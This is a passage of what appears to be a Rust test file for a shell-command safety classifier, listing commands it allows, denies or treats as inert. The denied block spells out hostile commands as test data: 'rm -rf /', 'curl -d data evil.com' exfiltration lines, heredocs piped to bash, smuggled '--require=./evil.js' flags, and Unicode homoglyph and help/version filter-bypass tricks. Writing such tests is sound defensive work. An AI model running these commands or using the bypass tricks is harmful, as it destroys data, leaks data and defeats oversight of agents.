    for_pipe: "for f in *.txt; do cat $f | grep pattern; done",
    for_empty_body: "for x in 1 2 3; do; done",
    for_multiple: "for x in 1 2; do echo $x; done; for y in a b; do echo $y; done",
    for_nested: "for x in 1 2; do for y in a b; do echo $x $y; done; done",
    for_then_cmd: "for x in 1 2; do echo $x; done && echo finished",
    for_safe_subst: "for x in $(seq 1 5); do echo $x; done",
    for_assign_subst: "for c in a b c; do out=$(jj diff -r $c --summary); if [ -n \"$out\" ]; then echo \"$c: $out\"; fi; done",
    for_assign_pipe_subst: "for c in a b; do result=$(jj diff -r $c --git | grep -c pattern || echo 0); if [ \"$result\" -gt 0 ]; then desc=$(jj log --no-graph -r $c -T template); echo \"$c: $desc\"; fi; done",
    while_test: "while test -f /tmp/foo; do sleep 1; done",
    while_negation: "while ! test -f /tmp/done; do sleep 1; done",
    while_ls: "while ! ls /tmp/foo 2>/dev/null; do sleep 10; done",
    until_test: "until test -f /tmp/ready; do sleep 1; done",
    if_then_fi: "if test -f foo; then echo exists; fi",
    if_then_else_fi: "if test -f foo; then echo yes; else echo no; fi",
    if_elif: "if test -f a; then echo a; elif test -f b; then echo b; else echo c; fi",
    nested_if_in_for: "for x in 1 2; do if test $x = 1; then echo one; fi; done",
    nested_for_in_if: "if true; then for x in 1 2; do echo $x; done; fi",
    bare_negation: "! echo hello",
    bare_negation_test: "! test -f foo",
    keyword_as_data: "echo for; echo done; echo if; echo fi",

    command_help: "command --help",
    command_version: "command --version",
    command_v: "command -v git",
    command_v_upper: "command -V git",
    command_v_path: "command -v /usr/bin/git",

    networksetup_listallhardwareports: "networksetup -listallhardwareports",
    networksetup_listallnetworkservices: "networksetup -listallnetworkservices",
    networksetup_getinfo: "networksetup -getinfo Wi-Fi",
    networksetup_getdnsservers: "networksetup -getdnsservers Wi-Fi",
    networksetup_version: "networksetup -version",
    networksetup_help: "networksetup -help",

    mlr_csv_head: "mlr --csv head -n 10 data.csv",
    mlr_json_filter: "mlr --json filter '$age > 30' data.json",
    mlr_tsv_cut: "mlr --tsv cut -f name,age data.tsv",

    sysctl_read: "sysctl kern.maxproc",
    sysctl_all: "sysctl -a",
    sysctl_names: "sysctl -N -a",
    sysctl_read_ostype: "sysctl kern.ostype",

    version_node: "node --version",
    version_python: "python --version",
    version_python3: "python3 --version",
    version_rustc: "rustc --version",
    version_java: "java --version",
    version_php: "php --version",
    version_gcc: "gcc --version",
    help_node: "node --help",
    node_short_v: "node -v",
    node_short_h: "node -h",
    node_check_long: "node --check app.js",
    node_check_short: "node -c app.js",
    node_check_absolute_path: "node --check /tmp/foo.js",
    node_check_short_clustered: "node -capp.js",
    python3_version_cap: "python3 -V",
    rustc_short_h: "rustc -h",
    java_version_legacy: "java -version",
    gcc_short_v: "gcc -v",
    gpp_version: "g++ --version",
    cc_version: "cc --version",
    cpp_version: "c++ --version",
    clang_version: "clang --version",
    clangpp_version: "clang++ --version",
    elixir_version: "elixir --version",
    erl_version: "erl --version",
    mix_version: "mix --version",
    zig_version: "zig --version",
    lua_version: "lua -v",
    tsc_version: "tsc --version",

    gron_bare: "gron",
    duf_bare: "duf",
    difft_help: "difft --help",
    duf_json: "duf --json",
    xsv_help: "xsv --help",
    qsv_help: "qsv --help",
    jc_about: "jc --about",

    git_lfs_version: "git-lfs --version",
    git_lfs_env: "git-lfs env",
    git_lfs_ls_files: "git-lfs ls-files --long",
    git_lfs_status: "git-lfs status",
    git_lfs_locks: "git-lfs locks --json",

    jj_workspace_list: "jj workspace list",
    jj_workspace_root: "jj workspace root",
    jj_workspace_update_stale: "jj workspace update-stale",
    jj_log: "jj log --oneline",
    jj_diff: "jj diff",
    jj_show: "jj show @-",
    jj_status: "jj status",
    jj_git_fetch: "jj git fetch",
    jj_git_import: "jj git import",
    jj_bookmark_list: "jj bookmark list",
    jj_config_get: "jj config get user.name",
    jj_config_list: "jj config list",
    jj_config_path: "jj config path",

    hash_bare: "hash",
    hash_r: "hash -r",
    hash_l: "hash -l",
    exit_bare: "exit",
    exit_code: "exit 0",
    exit_code_1: "exit 1",
    declare_bare: "declare",
    declare_p: "declare -p",
    declare_p_var: "declare -p PATH",
    declare_f: "declare -f",
    declare_ix: "declare -ix FOO=42",
    typeset_bare: "typeset",

    comment_only: "# just a comment",
    comment_before_cmd: "# comment\necho hello",
    comment_inline: "echo hello # inline",
    comment_between_cmds: "pgrep -af 'pattern' || echo 'no match'\n# Sanity check\npgrep -af 'other' || echo 'no match'",

    colon_bare: ":",
    colon_with_args: ": foo bar",
    colon_in_if_then: "if true; then :; fi",
    colon_in_if_else: "if false; then echo yes; else :; fi",
    colon_in_for_loop: "for x in 1 2; do :; done",
    colon_in_while: "while false; do :; done",
    colon_in_chain: "echo hello && :",
    colon_in_chain_reverse: ": && echo hello",
    colon_with_redirect: ": > /dev/null",

    basecamp_help: "basecamp --help",
    basecamp_projects_list: "basecamp projects list",
    basecamp_todos_list: "basecamp todos list --in 12345",
    basecamp_search: "basecamp search query",
    basecamp_doctor: "basecamp doctor",
    basecamp_auth_token: "basecamp auth token",
    basecamp_files_list: "basecamp files list --in 12345",
    basecamp_cards_list: "basecamp cards list",
    basecamp_commands: "basecamp commands --json",

    php_version: "php -v",
    php_modules: "php -m",
    php_modules_long: "php --modules",
    php_info: "php -i",
    php_info_long: "php --info",
    php_ini: "php --ini",
    php_artisan_about: "php artisan about",
    php_artisan_about_json: "php artisan about --json",
    php_artisan_route_list: "php artisan route:list",
    php_artisan_route_list_json: "php artisan route:list --json --except-vendor",
    php_artisan_config_show: "php artisan config:show database",
    php_artisan_model_show: "php artisan model:show User",
    php_artisan_migrate_status: "php artisan migrate:status",
    php_artisan_event_list: "php artisan event:list",
    php_artisan_schedule_list: "php artisan schedule:list --json",
    php_artisan_db_show: "php artisan db:show --json",
    php_artisan_db_table: "php artisan db:table users",
    php_artisan_test: "php artisan test --filter UserTest",
    php_artisan_test_parallel: "php artisan test --parallel --processes=4",
    php_artisan_list: "php artisan list",
    php_artisan_help: "php artisan help route:list",
    php_artisan_env: "php artisan env",
    php_artisan_queue_failed: "php artisan queue:failed",
    php_artisan_view_clear: "php artisan view:clear",

    rails_about: "rails about",
    rails_routes: "rails routes",
    rails_routes_grep: "rails routes -g users",
    rails_db_version: "rails db:version",
    rails_db_migrate_status: "rails db:migrate:status",
    rails_db_create: "rails db:create",
    rails_db_migrate: "rails db:migrate",
    rails_db_seed: "rails db:seed",
    rails_db_prepare: "rails db:prepare",
    rails_test: "rails test",
    rails_test_file: "rails test test/models/user_test.rb",
    rails_generate_model: "rails generate model User name:string",
    rails_g_migration: "rails g migration AddTokenToUsers",
    rails_tmp_clear: "rails tmp:clear",
    rails_log_clear: "rails log:clear",
    rails_assets_precompile: "rails assets:precompile",
    rails_cache_clear: "rails cache:clear",
    rails_help: "rails --help",
    rails_via_bin: "bin/rails db:create",
    rails_via_bin_migrate: "./bin/rails db:migrate",
    rails_via_mise_exec: "mise exec -- bin/rails db:create",
    rails_via_bundle: "bundle exec rails db:create",
    rails_until_loop: "until docker compose ps --format json | grep -q healthy; do sleep 1; done; mise exec -- bin/rails db:create",

    brace_group_simple: "{ echo a; echo b; }",
    brace_group_with_redirect: "{ echo a; echo b; } > /tmp/out.txt",
    brace_group_with_append: "{ echo a; } >> /tmp/log.txt",
    brace_group_with_stderr: "{ echo a; } 2>&1",
    brace_group_user_probe: "{ sed -n '1,2p' /tmp/h2.txt; sed -n '4p' /tmp/h2.txt; } > /tmp/trip4-noblank.txt",
    brace_group_in_pipeline: "{ echo a; echo b; } | grep a",
    brace_group_after_pipeline: "echo a | { read x; echo $x; }",
    brace_group_nested: "{ { echo inner; }; echo outer; }",
    brace_group_with_subshell: "{ (cd /tmp && ls); echo done; }",
    brace_group_in_chain: "{ echo a; } && { echo b; }",
    brace_group_with_for: "for f in *.txt; do { echo $f; cat $f; } > combined.txt; done",
    brace_group_help_var: "{ echo $HOME; }",
    brace_group_redir_to_devnull: "{ echo noisy; echo more; } > /dev/null",
    subshell_with_redirect: "(echo hello) > /tmp/out.txt",
    subshell_in_pipeline_with_head: "(echo a; echo b) | head -1",

    php_artisan_config_clear: "php artisan config:clear",
    php_artisan_route_clear: "php artisan route:clear",
    php_artisan_event_clear: "php artisan event:clear",
    php_please_version: "php please --version",
    php_please_help: "php please --help",
    php_please_list: "php please list",
    php_please_stache_clear: "php please stache:clear",
    php_please_glide_clear: "php please glide:clear",
    php_please_static_clear: "php please static:clear",
    please_bare_stache_clear: "please stache:clear",
    please_bare_help: "please --help",
    please_stache_warm: "php please stache:warm",
    please_stache_refresh: "php please stache:refresh",
    please_static_warm: "php please static:warm",
    please_static_warm_uncached: "php please static:warm --uncached --max-requests 100",
    please_static_warm_queue: "please static:warm --queue --max-depth 3",
    please_stache_doctor: "php please stache:doctor",
    please_static_recache_token: "php please static:recache-token --raw",
    please_search_update_all: "php please search:update --all",
    please_search_update_specific: "php please search:update default",
    please_search_update_bare: "php please search:update",
    please_search_insert: "php please search:insert default",
    please_search_insert_bare: "php please search:insert",
    please_search_update_help: "php please search:update --help",
    please_search_update_pipeline: "php please search:update --all 2>&1 | tail -3",
    please_support_details: "php please support:details --json",
    please_support_details_only: "php please support:details --only environment",
    please_flat_camp: "php please flat:camp",
    please_assets_meta: "php please assets:meta",
    please_assets_meta_container: "php please assets:meta photos",
    please_assets_meta_clean: "php please assets:meta-clean --dry-run",
    please_assets_clear_cache: "php please assets:clear-cache",
    please_assets_generate_presets: "php please assets:generate-presets --queue",
    please_assets_generate_presets_excluded: "php please assets:generate-presets --excluded-containers photos,videos",
    please_addons_discover: "php please addons:discover",
    please_auth_migration: "php please auth:migration",
    please_auth_migration_path: "php please auth:migration --path database/migrations",
    please_nocache_migration: "php please nocache:migration",
    please_setup_cp_vite: "php please setup-cp-vite --only-necessary",
    please_support_zip_blueprint: "php please support:zip-blueprint user",
    please_starter_kit_init: "php please starter-kit:init --name 'My Kit'",
    please_starter_kit_init_pkg: "php please starter-kit:init my/kit --updatable --force",
    please_starter_kit_export: "php please starter-kit:export ./exports/my-kit",
    please_starter_kit_export_clear: "php please starter-kit:export ./exports --clear",
    please_make_action: "php please make:action MyAction",
    please_make_addon: "php please make:addon vendor/my-addon",
    please_make_action_addon: "php please make:action MyAction vendor/my-addon",
    please_make_action_force: "php please make:action MyAction --force",
    please_make_fieldtype: "php please make:fieldtype Color",
    please_make_filter: "php please make:filter MyFilter",
    please_make_modifier: "php please make:modifier MyModifier",
    please_make_scope: "php please make:scope MyScope",
    please_make_tag: "php please make:tag MyTag",
    please_make_widget: "php please make:widget MyWidget",
    please_make_dictionary: "php please make:dictionary MyDict",
    valet_version: "valet --version",
    valet_help: "valet --help",
    valet_help_sub: "valet help status",
    valet_status: "valet status",
    valet_links: "valet links",
    valet_paths: "valet paths",
    valet_which: "valet which",
    valet_diagnose: "valet diagnose",
    valet_diagnose_ignore: "valet diagnose --ignore-output",
    valet_log: "valet log nginx",
    valet_php_versions: "valet php-versions",
    valet_on_latest_version: "valet on-latest-version",
    valet_list: "valet list",
    valet_start: "valet start",
    valet_stop: "valet stop",
    valet_restart: "valet restart",
    valet_restart_service: "valet restart nginx",
    artisan_bare: "artisan about",
    artisan_route_list: "artisan route:list --json",

    composer_install: "composer install --no-interaction --no-progress",
    composer_install_no_scripts: "composer install --no-scripts --no-dev",
    composer_validate: "composer validate --strict",
    composer_dump_autoload: "composer dump-autoload -o",
    composer_config_list: "composer config --list",
    composer_depends: "composer depends monolog/monolog",
    composer_search: "composer search phpunit",
    composer_show: "composer show --latest",

    pest_bare: "pest",
    pest_filter: "pest --filter UserTest --bail",
    vendor_bin_pest: "./vendor/bin/pest --no-progress",

    phpstan_analyse: "phpstan analyse",
    phpstan_analyse_flags: "phpstan analyse --no-progress --memory-limit=512M",
    vendor_bin_phpstan: "./vendor/bin/phpstan analyse --no-progress",

    phpunit_bare: "phpunit",
    phpunit_filter: "phpunit --filter UserTest --colors=auto",
    vendor_bin_phpunit: "./vendor/bin/phpunit --testsuite Unit",
}

denied! {
    heredoc_pipe_to_bash_unsafe: "cat <<'EOF' | bash\nrm -rf /\nEOF",
    heredoc_pipe_to_bash_safe_inner: "cat <<EOF | bash\nls\nEOF",
    heredoc_strip_tabs_pipe_to_bash: "cat <<-EOF | bash\n\trm -rf /\n\tEOF",
    heredoc_to_sh: "cat <<EOF | sh\nls\nEOF",
    heredoc_to_zsh: "cat <<EOF | zsh\nls\nEOF",

    help_npm_install_denied: "npm install --help",
    help_brew_install_denied: "brew install --help",
    help_cargo_login_redirect_denied: "cargo login --help 2>&1",

    version_unhandled_dd: "dd --version",
    version_unhandled_chmod: "chmod --version",
    help_pip_install_trailing: "pip install evil --help",
    help_curl_data_trailing: "curl -d data --help",
    version_pip_install_trailing: "pip install evil --version",
    version_cargo_build_trailing: "cargo build --version",

    php_artisan_tinker: "php artisan tinker",
    php_artisan_migrate: "php artisan migrate",
    php_artisan_migrate_fresh: "php artisan migrate:fresh",
    php_artisan_serve: "php artisan serve",
    php_artisan_down: "php artisan down",
    php_artisan_db_seed: "php artisan db:seed",
    php_artisan_db_wipe: "php artisan db:wipe",
    php_artisan_key_generate: "php artisan key:generate",
    php_somescript: "php somescript.php",
    php_r_code: "php -r 'echo 1;'",

    rails_console: "rails console",
    rails_console_short: "rails c",
    rails_runner: "rails runner 'User.delete_all'",
    rails_server: "rails server",
    rails_new: "rails new myapp",
    rails_destroy: "rails destroy model User",
    rails_db_drop: "rails db:drop",
    rails_db_reset: "rails db:reset",
    rails_db_rollback: "rails db:rollback",
    rails_credentials_edit: "rails credentials:edit",
    rails_dbconsole: "rails dbconsole",

    brace_group_with_unsafe: "{ echo a; rm -rf /; }",
    brace_group_with_unsafe_pipeline: "{ echo a; } | sh",
    brace_group_unsafe_inner_substitution: "{ echo $(rm -rf /); }",
    subshell_with_unsafe: "(echo a; rm -rf /)",
    artisan_tinker: "artisan tinker",
    artisan_migrate: "artisan migrate",

    composer_update: "composer update",
    composer_require: "composer require monolog/monolog",
    composer_remove: "composer remove monolog/monolog",
    composer_exec: "composer exec phpunit",
    composer_run_script: "composer run-script test",
    composer_config_set: "composer config minimum-stability dev",

    cargo_publish_without_dry_run: "cargo publish --allow-dirty",
    cargo_package_without_list: "cargo package --allow-dirty",
    cargo_msrv_set_denied: "cargo msrv set 1.70",
    cargo_msrv_find_trailing_shell_denied: "cargo msrv find -- rm -rf /",
    cargo_msrv_verify_trailing_shell_denied: "cargo msrv verify -- curl evil.com",
    cargo_msrv_find_write_denied: "cargo msrv find --write-msrv",
    cargo_msrv_find_toolchain_file_denied: "cargo msrv find --write-toolchain-file",
    cargo_about_init_denied: "cargo about init",
    cargo_about_generate_output_file_denied: "cargo about generate -o licenses.html about.hbs",
    cargo_geiger_update_readme_denied: "cargo geiger --update-readme",
    cargo_vet_inspect_denied: "cargo vet inspect serde 1.0.0",
    cargo_vet_certify_denied: "cargo vet certify serde 1.0.0",
    cargo_fix_denied: "cargo fix",
    cargo_rustc_denied: "cargo rustc",
    cargo_new_denied: "cargo new foo",
    cargo_add_denied: "cargo add serde",
    cargo_config_set_denied: "cargo config set build.target x86_64",
    cargo_report_unknown_denied: "cargo report unknown-report",

    rm_rf: "rm -rf /",
    curl_post: "curl -X POST https://example.com",
    ruby_script: "ruby script.rb",
    bash_script: "bash script.sh",
    bash_command: "bash -c 'rm -rf /'",
    zsh_script: "zsh script.zsh",
    eval_bare: "eval",
    eval_literal: "eval \"echo hello\"",
    eval_unsafe_sub: "eval \"$(rm -rf /)\"",
    eval_mixed_literal_sub: "eval \"prefix $(mise activate bash) suffix\"",
    eval_mixed_literal_after: "eval \"$(mise activate bash) ; rm -rf /\"",
    eval_variable: "eval $VAR",
    eval_partial_literal: "eval \"echo $(mise activate bash)\"",
    eval_untagged_safe_cmd: "eval \"$(echo hello)\"",
    eval_two_untagged_subs: "eval \"$(echo foo)\"\"$(echo bar)\"",
    eval_arith: "eval \"$(( 1 + 2 ))\"",
    eval_process_substitution: "eval <(mise activate bash)",
    eval_piped_sub: "eval \"$(mise activate bash | cat)\"",
    eval_mise_sub_with_redir: "eval \"$(mise activate bash > /dev/null)\"",
    eval_mise_activate_help: "eval \"$(mise activate --help)\"",
    eval_mise_activate_h: "eval \"$(mise activate -h)\"",
    eval_mise_activate_bang: "eval \"$(! mise activate bash)\"",
    eval_mise_activate_amp: "eval \"$(mise activate bash &)\"",
    eval_mise_activate_env_prefix: "eval \"$(FOO=bar mise activate bash)\"",
    eval_mise_untagged_sub: "eval \"$(mise list)\"",
    eval_mise_config_get_subsub: "eval \"$(mise config get foo)\"",
    eval_mise_bare: "eval \"$(mise)\"",
    eval_mise_activate_var_positional: "eval \"$(mise activate $VAR)\"",
    eval_mise_activate_braced_var: "eval \"$(mise activate ${VAR})\"",
    eval_mise_activate_positional_param: "eval \"$(mise activate $1)\"",
    eval_mise_activate_positionals_all: "eval \"$(mise activate $@)\"",
    eval_mise_activate_tilde: "eval \"$(mise activate ~)\"",
    eval_mise_activate_glob: "eval \"$(mise activate *)\"",
    eval_mise_activate_question_glob: "eval \"$(mise activate ?)\"",
    eval_mise_activate_brace_expand: "eval \"$(mise activate {bash,zsh})\"",
    eval_mise_activate_bracket_glob: "eval \"$(mise activate [bz]ash)\"",
    eval_mise_activate_flag_with_var: "eval \"$(mise activate bash --shims=$VAR)\"",
    eval_mise_activate_sq_with_var: "eval \"$(mise activate '$VAR')\"",
    eval_mise_activate_dq_with_var: "eval \"$(mise activate \"$VAR\")\"",
    zsh_command: "zsh -c 'evil'",
    ruby_eval: "ruby -e 'puts :hi'",
    ruby_require: "ruby -rfoo -c script.rb",
    ruby_c_then_script: "ruby -c file.rb extra.rb",
    ruby_x_flag: "ruby -x script.rb",

    mount_with_target: "mount /dev/sda1 /mnt",
    mount_remount: "mount -o remount /tmp",
    mount_bind: "mount --bind /a /b",
    mount_all: "mount -a",
    umount_path: "umount /mnt",
    findmnt_unknown_flag: "findmnt --evil",
    mountpoint_bare: "mountpoint",
    mountpoint_two_paths: "mountpoint /tmp /var",

    apropos_bare: "apropos",
    whatis_bare: "whatis",
    look_bare: "look",
    look_three_args: "look hello words.txt extra",
    manpath_with_arg: "manpath foo",
    mandoc_unknown_flag: "mandoc --evil file",
    pcre2grep_bare: "pcre2grep",
    pcre2grep_unknown_flag: "pcre2grep --evil pattern file",
    pcre2test_two_files: "pcre2test patterns.txt output.txt",
    pcre2test_unknown_flag: "pcre2test --evil",
    numfmt_unknown_flag: "numfmt --evil 1024",
    csplit_bare: "csplit",
    csplit_unknown_flag: "csplit --evil file 100",
    scalar_clone: "scalar clone https://example.com/repo.git",
    scalar_register: "scalar register",
    scalar_unregister: "scalar unregister",
    scalar_delete: "scalar delete /repo",
    scalar_run: "scalar run all",
    scalar_reconfigure: "scalar reconfigure --all",
    stapler_bare: "stapler",
    stapler_unknown_sub: "stapler unknown App.app",
    stapler_validate_bare: "stapler validate",
    stapler_staple_two_paths: "stapler staple a.app b.app",

    safe_chains_bare: "safe-chains",
    safe_chains_opencode_config: "safe-chains --opencode-config",
    safe_chains_generate_book: "safe-chains --generate-book",
    safe_chains_three_positionals: "safe-chains 'foo' 'bar' 'baz'",

    tabs_unknown_flag: "tabs --evil",
    tabs_two_positionals: "tabs 1,5 9,13",
    lpstat_unknown_flag: "lpstat --evil",
    lpr_delete_after: "lpr -r file.txt",
    lp_unknown_flag: "lp --evil doc.pdf",
    xccov_merge_no_output: "xccov merge a.xccovreport b.xccovreport",
    xcresulttool_metadata_add: "xcresulttool metadata addExternalLocation --path Run.xcresult",
    xctrace_record: "xctrace record --launch /usr/bin/yes",
    xctrace_remodel: "xctrace remodel --input Run.trace",

    ipconfig_set: "ipconfig set en0 DHCP",
    ipconfig_setverbose: "ipconfig setverbose 1",
    dns_sd_register: "dns-sd -R MyService _http._tcp local 8080",
    dns_sd_no_action: "dns-sd",
    sntp_step: "sntp -S pool.ntp.org",
    sntp_slew: "sntp -s pool.ntp.org",
    fping_no_count: "fping example.com",
    ipptool_writes_xml: "ipptool -P out.plist -tv ipp://x/ test.test",
    ippfind_exec: "ippfind --exec /bin/echo {} ;",
    config_data_set: "config_data --module Foo::Bar --set_feature opt=1",
    scandeps_execute: "scandeps.pl -x script.pl",
    par_pl_install: "par.pl -i cpan://Module",
    json_xs_eval: "json_xs -e 'die'",
    dscacheutil_flushcache: "dscacheutil -flushcache",
    dsmemberutil_flushcache: "dsmemberutil flushcache",
    nfsstat_zero: "nfsstat -z",
    pg_amcheck_install_missing: "pg_amcheck --install-missing",
    pg_recvlogical_create_slot: "pg_recvlogical --create-slot --slot s",
    gdbmtool_open: "gdbmtool foo.db",
    odbcinst_install_driver: "odbcinst -i -d -f drivers.ini",
    fido2_token_reset: "fido2-token -R /dev/hidraw0",
    lldb_run_binary: "lldb /usr/bin/echo",
    lldb_attach_pid: "lldb --attach-pid 1234",
    p11tool_initialize: "p11tool --initialize 'pkcs11:token=foo'",
    tpmtool_generate: "tpmtool --generate-rsa --outfile key",
    m4_basic: "m4 file.m4",
    m4_syscmd: "m4 -DCMD=syscmd file.m4",

    agy_bare: "agy",
    agy_print_prompt: "agy -p 'do thing'",
    agy_continue: "agy --continue",
    agy_install: "agy install",
    agy_update: "agy update",
    agy_plugin_install: "agy plugin install foo",
    agy_plugin_uninstall: "agy plugin uninstall foo",
    agy_plugin_enable: "agy plugin enable foo",
    agy_plugin_disable: "agy plugin disable foo",
    agy_plugins_install: "agy plugins install foo",
    agy_dangerously_skip: "agy --dangerously-skip-permissions",

    circuschief_unknown_flag: "circuschief --evil",
    circuschief_positional: "circuschief foo",
    sample_unknown_flag: "sample 48066 --evil-flag",
    sample_with_file_flag: "sample 48066 -file /tmp/profile.txt",

    railway_up_denied: "railway up",
    railway_down_denied: "railway down --service web",
    railway_redeploy_denied: "railway redeploy",
    railway_variable_set_denied: "railway variable set FOO=bar",
    railway_run_denied: "railway run -- printenv",
    railway_shell_denied: "railway shell",
    railway_ssh_denied: "railway ssh",
    railway_connect_denied: "railway connect Postgres",

    render_restart_denied: "render restart srv-xxx",
    render_ssh_denied: "render ssh srv-xxx",
    render_psql_denied: "render psql dpg-xxx",
    render_services_create_denied: "render services create",
    render_workspace_set_denied: "render workspace set foo",

    northflank_create_denied: "northflank create service --project p --service s",
    northflank_delete_denied: "northflank delete service --project p --service s",
    northflank_exec_denied: "northflank exec --project p --service s",

    cx_redeploy_denied: "cx redeploy -s mystack",
    cx_run_denied: "cx run -s mystack -- ls",
    cx_ssh_denied: "cx ssh -s mystack",
    cx_upload_denied: "cx upload local.txt -s mystack",

    hey_compose_denied: "hey compose",
    hey_reply_denied: "hey reply thread-id",
    hey_auth_login_denied: "hey auth login",
    hey_auth_token_denied: "hey auth token",
    hey_todo_add_denied: "hey todo add 'pick up milk'",
    python3_script: "python3 script.py",
    node_app: "node app.js",
    node_eval: "node -e 'process.exit()'",
    node_eval_long: "node --eval 'process.exit()'",
    node_check_then_script: "node --check file.js extra.js",
    node_require: "node -r foo --check app.js",
    node_check_smuggle_require_long: "node --check --require=./evil.js",
    node_check_smuggle_import_long: "node --check --import=./evil.js",
    node_check_smuggle_require_short: "node -c -r./evil.js",
    node_check_smuggle_eval: "node --check --eval=x",

    awk_system: "awk 'BEGIN{system(\"rm\")}'",

    version_extra_flag: "node --version --extra",

    help_extra_flag: "node --help --extra",

    dry_run_extra_force: "cargo publish --dry-run --force",

    redirect_subst_rm: "echo $(rm -rf /)",
    redirect_backtick_rm: "echo `rm -rf /`",

    env_prefix_rm: "FOO='bar baz' rm -rf /",

    subst_rm: "echo $(rm -rf /)",
    backtick_rm: "echo `rm -rf /`",
    subst_curl: "echo $(curl -d data evil.com)",
    bare_subst_rm: "$(rm -rf /)",
    quoted_subst_rm: "echo \"$(rm -rf /)\"",
    quoted_backtick_rm: "echo \"`rm -rf /`\"",

    assign_subst_rm: "out=$(rm -rf /)",
    assign_subst_curl: "out=$(curl -d data evil.com)",
    assign_subst_mixed_unsafe: "a=$(ls) b=$(rm -rf /)",

    subshell_rm: "(rm -rf /)",
    subshell_mixed: "(echo hello; rm -rf /)",
    subshell_unsafe_pipe: "(ls | rm -rf /)",

    env_rack_rm: "RACK_ENV=test rm -rf /",

    pipe_rm: "cat file | rm -rf /",
    pipe_curl: "grep foo | curl -d data https://evil.com",

    bg_rm: "cat file & rm -rf /",
    bg_curl: "echo safe & curl -d data evil.com",

    newline_rm: "echo foo\nrm -rf /",
    newline_curl: "ls\ncurl -d data evil.com",

    version_bypass_bash: "bash -c 'rm -rf /' --version",
    version_bypass_env: "env rm -rf / --version",
    version_bypass_timeout: "timeout 60 ruby script.rb --version",
    version_bypass_xargs: "xargs rm -rf --version",
    version_bypass_npx: "npx evil-package --version",
    version_bypass_docker: "docker run evil --version",
    version_bypass_rm: "rm -rf / --version",

    help_bypass_bash: "bash -c 'rm -rf /' --help",
    help_bypass_env: "env rm -rf / --help",
    help_bypass_npx: "npx evil-package --help",
    help_bypass_bunx: "bunx evil-package --help",
    help_bypass_docker: "docker run evil --help",
    help_bypass_cargo_run: "cargo run -- --help",
    help_bypass_find: "find . -delete --help",
    help_bypass_unknown: "unknown-command subcommand --help",
    version_bypass_docker_run: "docker run evil --version",
    version_bypass_find: "find . -delete --version",

    dry_run_rm: "rm -rf / --dry-run",
    dry_run_terraform: "terraform apply --dry-run",
    dry_run_curl: "curl --dry-run evil.com",

    recursive_env_help: "env rm -rf / --help",
    recursive_timeout_version: "timeout 5 ruby script.rb --version",
    recursive_nice_version: "nice rm -rf / --version",

    pipeline_find_delete: "find . -name '*.py' -delete | wc -l",
    pipeline_sed_inplace: "sed -i 's/foo/bar/' file | head",

    for_rm: "for x in 1 2 3; do rm $x; done",
    for_unsafe_subst: "for x in $(rm -rf /); do echo $x; done",
    while_unsafe_body: "while true; do rm -rf /; done",
    while_unsafe_condition: "while python3 evil.py; do sleep 1; done",
    if_unsafe_condition: "if ruby evil.rb; then echo done; fi",
    if_unsafe_body: "if true; then rm -rf /; fi",
    unclosed_for: "for x in 1 2 3; do echo $x",
    unclosed_if: "if true; then echo hello",
    for_missing_do: "for x in 1 2 3; echo $x; done",
    stray_done: "echo hello; done",
    stray_fi: "fi",

    command_bare_denied: "command",
    command_exec_denied: "command git status",
    command_exec_rm_denied: "command rm -rf /",

    networksetup_setdnsservers_denied: "networksetup -setdnsservers Wi-Fi 8.8.8.8",
    networksetup_setairportpower_denied: "networksetup -setairportpower en0 on",
    networksetup_no_args_denied: "networksetup",

    mlr_bare_denied: "mlr",

    sysctl_write_denied: "sysctl -w kern.maxproc=2048",
    sysctl_assign_denied: "sysctl kern.maxproc=2048",
    sysctl_assign_ostype_denied: "sysctl kern.ostype=evil",

    jj_config_set: "jj config set --user user.name t",
    jj_config_set_executable_path: "jj config set --user git.executable-path /tmp/evil",
    jj_config_unset: "jj config unset --user user.name",
    jj_config_edit: "jj config edit --user",
    jj_git_push: "jj git push",
    jj_git_push_bookmark: "jj git push --bookmark main",

    basecamp_auth_login: "basecamp auth login",
    basecamp_todo: "basecamp todo 'Buy milk'",
    basecamp_done: "basecamp done 123",
    basecamp_chat_post: "basecamp chat post 'hello' --in 123",
    basecamp_comment: "basecamp comment 123 'looks good'",

    unicode_homoglyph_git: "g\u{0456}t log",
    unicode_zwsp_in_cmd: "g\u{200B}it log",
    unicode_zwnj_in_cmd: "g\u{200C}it log",
    unicode_combining_in_cmd: "g\u{0300}it log",
    ansi_c_quote_rm: "$'\\x72\\x6d' -rf /",
    ansi_c_quote_git: "$'git' log",
    eval_rm: "eval 'rm -rf /'",
    eval_git: "eval 'git log'",
    cmd_sub_in_cmd_position: "$(echo rm) -rf /",
    backtick_in_cmd_position: "`echo rm` -rf /",
    var_expansion_cmd: "$cmd log",
    dollar_brace_cmd: "${cmd} log",
}

inert! {
    level_cat: "cat file.txt",
    level_grep: "grep foo file.txt",
    level_echo: "echo hello",
    level_ls: "ls -la",
    level_git_log: "git log --oneline",
    level_git_diff: "git diff",
    level_cargo_help: "cargo --help",
    level_cargo_tree: "cargo tree",
    level_cargo_config_get: "cargo config get build.target",
    level_cargo_report: "cargo report future-incompatibilities",
    level_cargo_msrv_list: "cargo msrv list",
    level_cargo_msrv_show: "cargo msrv show",
    level_cargo_vet_dump_graph: "cargo vet dump-graph",
    level_find_grep: "find . -name '*.py' -exec grep pattern {} +",
    level_pipe_inert: "grep foo file | head -5",
    level_env_bare: "env",
    level_timeout_ls: "timeout 5 ls -la",
    level_bash_version: "bash --version",

    assign_bare_inert: "x=1",
    assign_bare_param_inert: "rc=$?",
    assign_bare_dq_inert: "x=\"foo bar\"",
    assign_bare_arith_inert: "x=$((1 + 2))",
    assign_bare_multiple_inert: "a=1 b=2",
    assign_with_dev_null_inert: "x=1 > /dev/null",
}

safe_read! {
    level_xctest_bundle: "xctest /tmp/MyTests.xctest",
    level_xctest_specific: "xctest -XCTest TestClass/testMethod /tmp/MyTests.xctest",
    level_cargo_test: "cargo test",
    level_cargo_clippy: "cargo clippy",
    level_cargo_check: "cargo check",
    level_cargo_bench: "cargo bench",
    level_cargo_publish_dry: "cargo publish --dry-run",
    level_cargo_udeps: "cargo udeps",
    level_cargo_msrv_verify: "cargo msrv verify",
    level_cargo_public_api: "cargo public-api",
    level_cargo_vet_check: "cargo vet check",
    level_cargo_geiger: "cargo geiger",
    level_cargo_criterion: "cargo criterion",
    level_bundle_exec_rspec: "bundle exec rspec",
    level_bundle_exec_rails_test: "bundle exec rails test",
    level_npm_test: "npm test",
    level_npm_run_test: "npm run test",
    level_yarn_test: "yarn test",
    level_go_test: "go test ./...",
    level_go_vet: "go vet ./...",
    level_deno_test: "deno test",
    level_deno_lint: "deno lint",
